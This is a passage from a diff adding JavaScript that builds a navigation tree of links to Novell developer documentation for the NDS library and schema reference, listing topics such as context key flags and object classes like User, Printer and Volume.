+ var navElement = navigationLink("Class Flags ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hpj620k3.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Change Types for Modifying Objects ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hc4p686b.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Context Keys and Flags ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h1btx3en.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Default Context Key Values ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hlkcqs3t.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DCK_FLAGS Bit Values ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/he1wcp92.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DCK_NAME_FORM Values ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hmd7uuiw.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DCK_CONFIDENCE Bit Values ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h7hy5yg3.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DCK_DSI_FLAGS Values ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/huh0ri39.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSI_ENTRY_FLAGS Values ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hqwiyl1u.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Filter Tokens ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h487zxy3.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Information Types for Attribute Definitions ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hdqx1cns.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Information Types for Class Definitions ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hcq403ms.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Information Types for Search and Read ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/ha682lf8.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Name Space Types ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hs6qj0yl.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Access Control Rights ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h12s89uj.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Ping Flags ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hf0fdqhd.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSP Replica Information Flags ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hw42a7qg.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Network Address Types ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hniuyp90.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Scope Flags ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h6wfyyfk.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Replica Types ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/he290q86.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Replica States ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/h9br9yt1.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Syntax Matching Flags ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hd8fn0rm.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Syntax IDs ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hn1dsa7y.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("NDS Example Code ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/hb05g04v.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Context Handle ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/a2sofgc.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Object and Attribute ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/a2snp6e.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Browsing and Searching ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/a2snu78.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Batch Modification of Objects and Attributes ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/a2snzot.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Schema ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/a2snqyd.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Revision History ","http://developer.novell.com/ndk/doc/ndslib/nds__enu/data/a5i29ah.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("NDS Schema Reference ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/h4q1mn1i.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Schema Concepts ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/h282spjh.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Schema Structure ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hpmkggmh.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Schema Components ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hvt5bdoi.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Object Classes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hbna398k.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Naming Attributes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/h9vf1k0r.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Containment Classes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hh1izaro.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Super Classes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hmdjysrx.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Object Class Flags ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/h6rvyaky.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Mandatory and Optional Attributes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/h2vnta8j.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Default ACL Templates ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hr9sm1l0.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Auxiliary Classes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hlh5m1af.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Attribute Type Definitions ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hotadinr.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Attribute Syntax Definitions ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/h2m59phc.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Schema Extensions ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/he5mef3b.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Base Object Class Definitions ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/hmv2qd15.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("AFP Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk75.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Alias ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk83.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("applicationEntity ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk91.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("applicationProcess ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk99.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Audit:File Object ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk107.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Bindery Object ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk115.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Bindery Queue ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk123.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("certificationAuthority ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk131.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("CommExec ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk139.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Computer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk147.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Country ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk155.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("cRLDistributionPoint ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk163.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("dcObject ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk171.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Device ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk179.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Directory Map ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk187.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("domain ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk195.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("dSA ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk203.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("External Entity ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk219.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Group ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk227.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Group ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a38rj6z.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk243.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk251.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Locality ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk259.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("MASV:Security Policy ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk267.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Message Routing Group ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk275.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Messaging Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk283.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NCP Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk291.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("ndsLoginProperties ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk347.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Certificate Authority ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk355.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Key Material ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk363.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:SD Key Access Partition ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2okvd6.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:SD Key List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2okvdx.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Trusted Root ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2okvbk.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSPKI:Trusted Root Object ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a2okvcf.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:groupOfCertificates ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk421.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailGroup1 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk445.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:mailRecipient ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk466.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:NetscapeMailServer5 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk474.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:NetscapeServer5 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk482.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:nginfo3 ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk510.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:nsLicenseUser ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk518.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Organization ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk530.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Organizational Person ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk541.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Organizational Role ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk550.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Organizational Unit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk561.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Partition ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk570.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Person ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk578.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("pkiCA ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk586.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("pkiUser ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk594.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Print Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk602.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk610.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Profile ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk618.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Queue ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk626.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Resource ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk634.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SAS:Security ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk642.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SAS:Service ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk650.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk658.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("strongAuthenticationUser ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk698.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Template ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk706.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Top ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk714.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Tree Root ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk722.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Unknown ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk730.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("User ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk738.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("userSecurityInformation ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk746.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Volume ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk754.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("WANMAN:LAN Area ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk762.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Novell Object Class Extensions ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3fh4x1.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Entrust:CRLDistributionPoint ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk211.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("inetOrgPerson ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk235.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Broker ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk299.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
